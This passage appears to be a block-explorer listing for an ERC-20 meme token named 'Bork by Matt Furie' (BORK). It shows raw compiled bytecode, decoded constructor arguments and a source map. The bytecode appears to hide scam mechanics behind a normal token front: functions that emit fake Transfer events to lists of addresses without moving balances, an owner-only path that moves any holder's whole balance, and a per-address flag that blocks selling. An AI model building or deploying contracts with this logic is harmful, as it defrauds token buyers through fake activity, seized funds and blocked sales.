565b5b905060200201602081019061040891906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610485919061168f565b60405180910390a380806001019150506103d5565b50505050565b600480546104ad90611817565b80601f01602080910402602001604051908101604052809291908181526020018280546104d990611817565b80156105245780601f106104fb57610100808354040283529160200191610524565b820191905f5260205f20905b81548152906001019060200180831161050757829003601f168201915b505050505081565b5f5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059290611891565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610675919061168f565b60405180910390a36001905092915050565b7f000000000000000000000000000000000000000000000016ce3f1e16bf15000081565b5f5f1515600560149054906101000a900460ff16151514801561070057506106d1610b0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561073e575061070f610b0b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156107575761074e848484610e97565b60019050610944565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107db91906118dc565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610862848484610e97565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051610937919061168f565b60405180910390a3600190505b9392505050565b5f5f90505b83839050811015610a155783838281811061096e5761096d6117bd565b5b905060200201602081019061098391906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a00919061168f565b60405180910390a38080600101915050610950565b50505050565b6006602052805f5260405f205f915090505481565b7f000000000000000000000000000000000000000000000000000000000000000981565b610a5c6110cc565b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610aed6110cc565b610af65f611153565b565b600560149054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054610b3f90611817565b80601f0160208091040260200160405190810160405280929190818152602001828054610b6b90611817565b8015610bb65780601f10610b8d57610100808354040283529160200191610bb6565b820191905f5260205f20905b815481529060010190602001808311610b9957829003601f168201915b505050505081565b5f610bca338484610e97565b6001905092915050565b5f5f90505b83839050811015610c9e57838382818110610bf757610bf66117bd565b5b9050602002016020810190610c0c91906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c89919061168f565b60405180910390a38080600101915050610bd9565b50505050565b5f5f90505b83839050811015610d6e57838382818110610cc757610cc66117bd565b5b9050602002016020810190610cdc91906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d59919061168f565b60405180910390a38080600101915050610ca9565b50505050565b610d7c6110cc565b5f819050610d8b848483611214565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e1b6110cc565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e8b575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610e829190611766565b60405180910390fd5b610e9481611153565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc90611959565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a906119c1565b60405180910390fd5b610f7d838361132a565b610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb390611a4f565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461100891906118dc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461105b9190611a6d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110bf919061168f565b60405180910390a3505050565b6110d4611425565b73ffffffffffffffffffffffffffffffffffffffff166110f2610b0b565b73ffffffffffffffffffffffffffffffffffffffff161461115157611115611425565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016111489190611766565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6101648114801561125157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561129f5761129e838360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e97565b5b61016481141580156112dd57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611325578060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f60ff801660065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561137b575f905061141f565b600560149054906101000a900460ff1615611399576001905061141f565b6113a1610b0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061140c57506113dd610b0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561141a576001905061141f565b600190505b92915050565b5f33905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261145557611454611434565b5b8235905067ffffffffffffffff81111561147257611471611438565b5b60208301915083602082028301111561148e5761148d61143c565b5b9250929050565b5f819050919050565b6114a781611495565b81146114b1575f5ffd5b50565b5f813590506114c28161149e565b92915050565b5f5f5f604084860312156114df576114de61142c565b5b5f84013567ffffffffffffffff8111156114fc576114fb611430565b5b61150886828701611440565b9350935050602061151b868287016114b4565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61156782611525565b611571818561152f565b935061158181856020860161153f565b61158a8161154d565b840191505092915050565b5f6020820190508181035f8301526115ad818461155d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115de826115b5565b9050919050565b6115ee816115d4565b81146115f8575f5ffd5b50565b5f81359050611609816115e5565b92915050565b5f5f604083850312156116255761162461142c565b5b5f611632858286016115fb565b9250506020611643858286016114b4565b9150509250929050565b5f8115159050919050565b6116618161164d565b82525050565b5f60208201905061167a5f830184611658565b92915050565b61168981611495565b82525050565b5f6020820190506116a25f830184611680565b92915050565b5f5f5f606084860312156116bf576116be61142c565b5b5f6116cc868287016115fb565b93505060206116dd868287016115fb565b92505060406116ee868287016114b4565b9150509250925092565b5f6020828403121561170d5761170c61142c565b5b5f61171a848285016115fb565b91505092915050565b5f60ff82169050919050565b61173881611723565b82525050565b5f6020820190506117515f83018461172f565b92915050565b611760816115d4565b82525050565b5f6020820190506117795f830184611757565b92915050565b5f5f604083850312156117955761179461142c565b5b5f6117a2858286016115fb565b92505060206117b3858286016115fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061182e57607f821691505b602082108103611841576118406117ea565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f61187b601c8361152f565b915061188682611847565b602082019050919050565b5f6020820190508181035f8301526118a88161186f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118e682611495565b91506118f183611495565b9250828203905081811115611909576119086118af565b5b92915050565b7f63616e6e6f74206265207a65726f2061646400000000000000000000000000005f82015250565b5f61194360128361152f565b915061194e8261190f565b602082019050919050565b5f6020820190508181035f83015261197081611937565b9050919050565b7f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66005f82015250565b5f6119ab601f8361152f565b91506119b682611977565b602082019050919050565b5f6020820190508181035f8301526119d88161199f565b9050919050565b7f746f6b656e206973206e6f74206c61756e6368656420616e642063616e6e6f745f8201527f206265206c6973746564206f6e206465786573207965742e0000000000000000602082015250565b5f611a3960388361152f565b9150611a44826119df565b604082019050919050565b5f6020820190508181035f830152611a6681611a2d565b9050919050565b5f611a7782611495565b9150611a8283611495565b9250828201905080821115611a9a57611a996118af565b5b9291505056fea2646970667358221220955b7392421c4695e94b01eca1c11e6c3e5e8c33660903fe7edc90d29e0a771364736f6c634300081d0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000061f313f8800000000000000000000000000000000000000000000000000000000000000012426f726b206279204d61747420467572696500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004424f524b00000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): Bork by Matt Furie
Arg [1] : _symbol (string): BORK
Arg [2] : _decimals (uint8): 9
Arg [3] : _totalSupply (uint256): 420690000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000061f313f880
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [5] : 426f726b206279204d6174742046757269650000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 424f524b00000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
2807:4495:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4571:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3043:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5519:319;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2973:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5846:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4796:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3169:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3097:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4457:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3630:160;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2270:103;;;:::i;:::-;;3135:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2001:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3016:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4254:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5300:207;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5022:254;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6383:152;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4061:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2381:220;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4571:211;4661:9;4673:1;4661:13;;4656:119;4680:11;;:18;;4676:1;:22;4656:119;;;4742:11;;4754:1;4742:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4725:38;;4734:6;;;;;;;;;;;4725:38;;;4758:4;4725:38;;;;;;:::i;:::-;;;;;;;;4700:3;;;;;;;4656:119;;;;4571:211;;;:::o;3043:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5519:319::-;5622:4;5671:1;5652:21;;:7;:21;;;5644:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;5751:5;5719:8;:20;5728:10;5719:20;;;;;;;;;;;;;;;:29;5740:7;5719:29;;;;;;;;;;;;;;;:37;;;;5793:7;5772:36;;5781:10;5772:36;;;5802:5;5772:36;;;;;;:::i;:::-;;;;;;;;5826:4;5819:11;;5519:319;;;;:::o;2973:36::-;;;:::o;5846:529::-;5970:4;6003:5;5991:17;;:8;;;;;;;;;;;:17;;;:34;;;;;6018:7;:5;:7::i;:::-;6012:13;;:2;:13;;;5991:34;:59;;;;;6043:7;:5;:7::i;:::-;6029:21;;:10;:21;;;5991:59;5987:381;;;6067:26;6077:4;6083:2;6087:5;6067:9;:26::i;:::-;6115:4;6108:11;;;;5987:381;6210:5;6181:8;:14;6190:4;6181:14;;;;;;;;;;;;;;;:26;6196:10;6181:26;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;6152:8;:14;6161:4;6152:14;;;;;;;;;;;;;;;:26;6167:10;6152:26;;;;;;;;;;;;;;;:63;;;;6230:26;6240:4;6246:2;6250:5;6230:9;:26::i;:::-;6291:10;6276:54;;6285:4;6276:54;;;6303:8;:14;6312:4;6303:14;;;;;;;;;;;;;;;:26;6318:10;6303:26;;;;;;;;;;;;;;;;6276:54;;;;;;:::i;:::-;;;;;;;;6352:4;6345:11;;5846:529;;;;;;:::o;4796:210::-;4885:9;4897:1;4885:13;;4880:119;4904:11;;:18;;4900:1;:22;4880:119;;;4966:11;;4978:1;4966:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4949:38;;4958:6;;;;;;;;;;;4949:38;;;4982:4;4949:38;;;;;;:::i;:::-;;;;;;;;4924:3;;;;;;;4880:119;;;;4796:210;;;:::o;3169:41::-;;;;;;;;;;;;;;;;;:::o;3097:31::-;;;:::o;4457:86::-;1960:13;:11;:13::i;:::-;4528:7:::1;4519:6;;:16;;;;;;;;;;;;;;;;;;4457:86:::0;:::o;3630:160::-;3733:7;3765:9;:17;3775:6;3765:17;;;;;;;;;;;;;;;;3758:24;;3630:160;;;:::o;2270:103::-;1960:13;:11;:13::i;:::-;2335:30:::1;2362:1;2335:18;:30::i;:::-;2270:103::o:0;3135:27::-;;;;;;;;;;;;;:::o;2001:87::-;2047:7;2074:6;;;;;;;;;;;2067:13;;2001:87;:::o;3016:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4254:183::-;4353:4;4375:32;4385:10;4397:2;4401:5;4375:9;:32::i;:::-;4425:4;4418:11;;4254:183;;;;:::o;5300:207::-;5386:9;5398:1;5386:13;;5381:119;5405:11;;:18;;5401:1;:22;5381:119;;;5467:11;;5479:1;5467:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;5450:38;;5459:6;;;;;;;;;;;5450:38;;;5483:4;5450:38;;;;;;:::i;:::-;;;;;;;;5425:3;;;;;;;5381:119;;;;5300:207;;;:::o;5022:254::-;5155:9;5167:1;5155:13;;5150:119;5174:11;;:18;;5170:1;:22;5150:119;;;5236:11;;5248:1;5236:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;5219:38;;5228:6;;;;;;;;;;;5219:38;;;5252:4;5219:38;;;;;;:::i;:::-;;;;;;;;5194:3;;;;;;;5150:119;;;;5022:254;;;:::o;6383:152::-;1960:13;:11;:13::i;:::-;6475:11:::1;6489:5;6475:19;;6505:22;6510:4;6516:2;6520:6;6505:4;:22::i;:::-;6464:71;6383:152:::0;;;:::o;4061:185::-;4181:7;4213:8;:16;4222:6;4213:16;;;;;;;;;;;;;;;:25;4230:7;4213:25;;;;;;;;;;;;;;;;4206:32;;4061:185;;;;:::o;2381:220::-;1960:13;:11;:13::i;:::-;2486:1:::1;2466:22;;:8;:22;;::::0;2462:93:::1;;2540:1;2512:31;;;;;;;;;;;:::i;:::-;;;;;;;;2462:93;2565:28;2584:8;2565:18;:28::i;:::-;2381:220:::0;:::o;6543:448::-;6678:1;6664:16;;:2;:16;;;6656:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6730:2;6722:10;;:4;:10;;;6714:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;6787:26;6804:4;6810:2;6787:16;:26::i;:::-;6779:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;6904:5;6885:9;:15;6895:4;6885:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;6937:5;6920:9;:13;6930:2;6920:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;6973:2;6958:25;;6967:4;6958:25;;;6977:5;6958:25;;;;;;:::i;:::-;;;;;;;;6543:448;;;:::o;2096:166::-;2167:12;:10;:12::i;:::-;2156:23;;:7;:5;:7::i;:::-;:23;;;2152:103;;2230:12;:10;:12::i;:::-;2203:40;;;;;;;;;;;:::i;:::-;;;;;;;;2152:103;2096:166::o;2609:191::-;2683:16;2702:6;;;;;;;;;;;2683:25;;2728:8;2719:6;;:17;;;;;;;;;;;;;;;;;;2783:8;2752:40;;2773:8;2752:40;;;;;;;;;;;;2672:128;2609:191;:::o;3798:255::-;3892:3;3883:5;:12;:39;;;;;3917:4;3899:23;;:6;:23;;;;3883:39;3879:89;;;3923:45;3933:6;3941:7;3950:9;:17;3960:6;3950:17;;;;;;;;;;;;;;;;3923:9;:45::i;:::-;3879:89;3992:3;3983:5;:12;;:39;;;;;4017:4;3999:23;;:6;:23;;;;3983:39;3979:66;;;4040:5;4023:6;:14;4030:6;4023:14;;;;;;;;;;;;;;;:22;;;;3979:66;3798:255;;;:::o;6999:300::-;7100:4;7144:15;7129:30;;:6;:12;7136:4;7129:12;;;;;;;;;;;;;;;;:30;7125:48;;;7168:5;7161:12;;;;7125:48;7188:8;;;;;;;;;;;7184:25;;;7205:4;7198:11;;;;7184:25;7232:7;:5;:7::i;:::-;7224:15;;:4;:15;;;:32;;;;7249:7;:5;:7::i;:::-;7243:13;;:2;:13;;;7224:32;7220:49;;;7265:4;7258:11;;;;7220:49;7287:4;7280:11;;6999:300;;;;;:::o;1217:98::-;1270:7;1297:10;1290:17;;1217:98;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:77::-;1331:7;1360:5;1349:16;;1294:77;;;:::o;1377:122::-;1450:24;1468:5;1450:24;:::i;:::-;1443:5;1440:35;1430:63;;1489:1;1486;1479:12;1430:63;1377:122;:::o;1505:139::-;1551:5;1589:6;1576:20;1567:29;;1605:33;1632:5;1605:33;:::i;:::-;1505:139;;;;:::o;1650:704::-;1745:6;1753;1761;1810:2;1798:9;1789:7;1785:23;1781:32;1778:119;;;1816:79;;:::i;:::-;1778:119;1964:1;1953:9;1949:17;1936:31;1994:18;1986:6;1983:30;1980:117;;;2016:79;;:::i;:::-;1980:117;2129:80;2201:7;2192:6;2181:9;2177:22;2129:80;:::i;:::-;2111:98;;;;1907:312;2258:2;2284:53;2329:7;2320:6;2309:9;2305:22;2284:53;:::i;:::-;2274:63;;2229:118;1650:704;;;;;:::o;2360:99::-;2412:6;2446:5;2440:12;2430:22;;2360:99;;;:::o;2465:169::-;2549:11;2583:6;2578:3;2571:19;2623:4;2618:3;2614:14;2599:29;;2465:169;;;;:::o;2640:139::-;2729:6;2724:3;2719;2713:23;2770:1;2761:6;2756:3;2752:16;2745:27;2640:139;;;:::o;2785:102::-;2826:6;2877:2;2873:7;2868:2;2861:5;2857:14;2853:28;2843:38;;2785:102;;;:::o;2893:377::-;2981:3;3009:39;3042:5;3009:39;:::i;:::-;3064:71;3128:6;3123:3;3064:71;:::i;:::-;3057:78;;3144:65;3202:6;3197:3;3190:4;3183:5;3179:16;3144:65;:::i;:::-;3234:29;3256:6;3234:29;:::i;:::-;3229:3;3225:39;3218:46;;2985:285;2893:377;;;;:::o;3276:313::-;3389:4;3427:2;3416:9;3412:18;3404:26;;3476:9;3470:4;3466:20;3462:1;3451:9;3447:17;3440:47;3504:78;3577:4;3568:6;3504:78;:::i;:::-;3496:86;;3276:313;;;;:::o;3595:126::-;3632:7;3672:42;3665:5;3661:54;3650:65;;3595:126;;;:::o;3727:96::-;3764:7;3793:24;3811:5;3793:24;:::i;:::-;3782:35;;3727:96;;;:::o;3829:122::-;3902:24;3920:5;3902:24;:::i;:::-;3895:5;3892:35;3882:63;;3941:1;3938;3931:12;3882:63;3829:122;:::o;3957:139::-;4003:5;4041:6;4028:20;4019:29;;4057:33;4084:5;4057:33;:::i;:::-;3957:139;;;;:::o;4102:474::-;4170:6;4178;4227:2;4215:9;4206:7;4202:23;4198:32;4195:119;;;4233:79;;:::i;:::-;4195:119;4353:1;4378:53;4423:7;4414:6;4403:9;4399:22;4378:53;:::i;:::-;4368:63;;4324:117;4480:2;4506:53;4551:7;4542:6;4531:9;4527:22;4506:53;:::i;:::-;4496:63;;4451:118;4102:474;;;;;:::o;4582:90::-;4616:7;4659:5;4652:13;4645:21;4634:32;;4582:90;;;:::o;4678:109::-;4759:21;4774:5;4759:21;:::i;:::-;4754:3;4747:34;4678:109;;:::o;4793:210::-;4880:4;4918:2;4907:9;4903:18;4895:26;;4931:65;4993:1;4982:9;4978:17;4969:6;4931:65;:::i;:::-;4793:210;;;;:::o;5009:118::-;5096:24;5114:5;5096:24;:::i;:::-;5091:3;5084:37;5009:118;;:::o;5133:222::-;5226:4;5264:2;5253:9;5249:18;5241:26;;5277:71;5345:1;5334:9;5330:17;5321:6;5277:71;:::i;:::-;5133:222;;;;:::o;5361:619::-;5438:6;5446;5454;5503:2;5491:9;5482:7;5478:23;5474:32;5471:119;;;5509:79;;:::i;:::-;5471:119;5629:1;5654:53;5699:7;5690:6;5679:9;5675:22;5654:53;:::i;:::-;5644:63;;5600:117;5756:2;5782:53;5827:7;5818:6;5807:9;5803:22;5782:53;:::i;:::-;5772:63;;5727:118;5884:2;5910:53;5955:7;5946:6;5935:9;5931:22;5910:53;:::i;:::-;5900:63;;5855:118;5361:619;;;;;:::o;5986:329::-;6045:6;6094:2;6082:9;6073:7;6069:23;6065:32;6062:119;;;6100:79;;:::i;:::-;6062:119;6220:1;6245:53;6290:7;6281:6;6270:9;6266:22;6245:53;:::i;:::-;6235:63;;6191:117;5986:329;;;;:::o;6321:86::-;6356:7;6396:4;6389:5;6385:16;6374:27;;6321:86;;;:::o;6413:112::-;6496:22;6512:5;6496:22;:::i;:::-;6491:3;6484:35;6413:112;;:::o;6531:214::-;6620:4;6658:2;6647:9;6643:18;6635:26;;6671:67;6735:1;6724:9;6720:17;6711:6;6671:67;:::i;:::-;6531:214;;;;:::o;6751:118::-;6838:24;6856:5;6838:24;:::i;:::-;6833:3;6826:37;6751:118;;:::o;6875:222::-;6968:4;7006:2;6995:9;6991:18;6983:26;;7019:71;7087:1;7076:9;7072:17;7063:6;7019:71;:::i;:::-;6875:222;;;;:::o;7103:474::-;7171:6;7179;7228:2;7216:9;7207:7;7203:23;7199:32;7196:119;;;7234:79;;:::i;:::-;7196:119;7354:1;7379:53;7424:7;7415:6;7404:9;7400:22;7379:53;:::i;:::-;7369:63;;7325:117;7481:2;7507:53;7552:7;7543:6;7532:9;7528:22;7507:53;:::i;:::-;7497:63;;7452:118;7103:474;;;;;:::o;7583:180::-;7631:77;7628:1;7621:88;7728:4;7725:1;7718:15;7752:4;7749:1;7742:15;7769:180;7817:77;7814:1;7807:88;7914:4;7911:1;7904:15;7938:4;7935:1;7928:15;7955:320;7999:6;8036:1;8030:4;8026:12;8016:22;;8083:1;8077:4;8073:12;8104:18;8094:81;;8160:4;8152:6;8148:17;8138:27;;8094:81;8222:2;8214:6;8211:14;8191:18;8188:38;8185:84;;8241:18;;:::i;:::-;8185:84;8006:269;7955:320;;;:::o;8281:178::-;8421:30;8417:1;8409:6;8405:14;8398:54;8281:178;:::o;8465:366::-;8607:3;8628:67;8692:2;8687:3;8628:67;:::i;:::-;8621:74;;8704:93;8793:3;8704:93;:::i;:::-;8822:2;8817:3;8813:12;8806:19;;8465:366;;;:::o;8837:419::-;9003:4;9041:2;9030:9;9026:18;9018:26;;9090:9;9084:4;9080:20;9076:1;9065:9;9061:17;9054:47;9118:131;9244:4;9118:131;:::i;:::-;9110:139;;8837:419;;;:::o;9262:180::-;9310:77;9307:1;9300:88;9407:4;9404:1;9397:15;9431:4;9428:1;9421:15;9448:194;9488:4;9508:20;9526:1;9508:20;:::i;:::-;9503:25;;9542:20;9560:1;9542:20;:::i;:::-;9537:25;;9586:1;9583;9579:9;9571:17;;9610:1;9604:4;9601:11;9598:37;;;9615:18;;:::i;:::-;9598:37;9448:194;;;;:::o;9648:168::-;9788:20;9784:1;9776:6;9772:14;9765:44;9648:168;:::o;9822:366::-;9964:3;9985:67;10049:2;10044:3;9985:67;:::i;:::-;9978:74;;10061:93;10150:3;10061:93;:::i;:::-;10179:2;10174:3;10170:12;10163:19;;9822:366;;;:::o;10194:419::-;10360:4;10398:2;10387:9;10383:18;10375:26;;10447:9;10441:4;10437:20;10433:1;10422:9;10418:17;10411:47;10475:131;10601:4;10475:131;:::i;:::-;10467:139;;10194:419;;;:::o;10619:181::-;10759:33;10755:1;10747:6;10743:14;10736:57;10619:181;:::o;10806:366::-;10948:3;10969:67;11033:2;11028:3;10969:67;:::i;:::-;10962:74;;11045:93;11134:3;11045:93;:::i;:::-;11163:2;11158:3;11154:12;11147:19;;10806:366;;;:::o;11178:419::-;11344:4;11382:2;11371:9;11367:18;11359:26;;11431:9;11425:4;11421:20;11417:1;11406:9;11402:17;11395:47;11459:131;11585:4;11459:131;:::i;:::-;11451:139;;11178:419;;;:::o;11603:243::-;11743:34;11739:1;11731:6;11727:14;11720:58;11812:26;11807:2;11799:6;11795:15;11788:51;11603:243;:::o;11852:366::-;11994:3;12015:67;12079:2;12074:3;12015:67;:::i;:::-;12008:74;;12091:93;12180:3;12091:93;:::i;:::-;12209:2;12204:3;12200:12;12193:19;;11852:366;;;:::o;12224:419::-;12390:4;12428:2;12417:9;12413:18;12405:26;;12477:9;12471:4;12467:20;12463:1;12452:9;12448:17;12441:47;12505:131;12631:4;12505:131;:::i;:::-;12497:139;;12224:419;;;:::o;12649:191::-;12689:3;12708:20;12726:1;12708:20;:::i;:::-;12703:25;;12742:20;12760:1;12742:20;:::i;:::-;12737:25;